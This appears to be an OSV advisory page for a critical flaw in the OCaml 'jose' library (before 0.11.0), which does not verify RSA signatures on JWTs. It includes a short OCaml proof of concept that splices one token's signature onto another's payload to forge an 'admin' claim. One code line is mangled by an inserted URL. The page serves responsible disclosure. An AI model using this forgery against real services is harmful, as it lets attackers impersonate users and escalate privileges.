OSEC-2026-19

See a problem?
Import Source
https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-19.json
JSON Data
https://api.osv.dev/v1/vulns/OSEC-2026-19
Aliases
  • CVE-2026-89086
Published
2026-09-10T10:00:00Z
Modified
2026-09-10T20:30:04Z
Severity
  • 9.1 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
JOSE: missing RSA signature verification
Details

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.

Reproduction

With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:

let () = Mirage_crypto_rng_unix.use_default ()

let key =
  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())

let sign sub =
  Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
  |> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string

let seg n token = List.nth (String.split_on_char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
  Jose.Jwt.unsafe_of_string forged
  |> Result.get_ok
  |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
  | Ok t ->
    print_endline
      ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
  | Error _ -> print_endline "rejected"

The dune file:

(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))

This prints "accepted, sub = admin".

Workaround

There is no workaround known.

Timeline

  • 2026-08-25: private report via email to the authors of jose
  • 2026-08-25: fix published to repository
  • 2026-08-31: mail escalated to security@ocaml.org
  • 2026-09-04: released jose 0.11.0
  • 2026-09-10: published advisory
Database specific 
{
    "cwe": [
        "CWE-347"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json"
}
Credits
    • Sergey Zhukaev - REPORTER
    • Hannes Mehnert - COORDINATOR
    • Konstantin Olkhovskiy - COORDINATOR
    • Ulrik Strid - REMEDIATION_DEVELOPER

Affected packages

opam / jose

Package

Name
jose
Purl
pkg:opam/jose

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.11.0
Type
GIT
Repo
https://github.com/ulrikstrid/ocaml-jose
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed
cf17d991ec6a0d1997956b6c7799890f9c28879e

Affected versions

0.*
0.2.0
0.3.0
0.3.1
0.4.0
0.5.0
0.5.1
0.6.0
0.7.0
0.8.1
0.8.2
0.9.0
0.10.0
v0.*
v0.1.0
v0.2.0
v0.3.1
v0.4.0
v0.5.0
v0.5.1
v0.7.0
v0.8.0
v0.8.1
v0.8.2
v0.9.0
v0.10.0

Ecosystem specific 

{
    "opam_constraint": "jose {< \"0.11.0\"}"
}

Database specific

source 
"https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-19.json"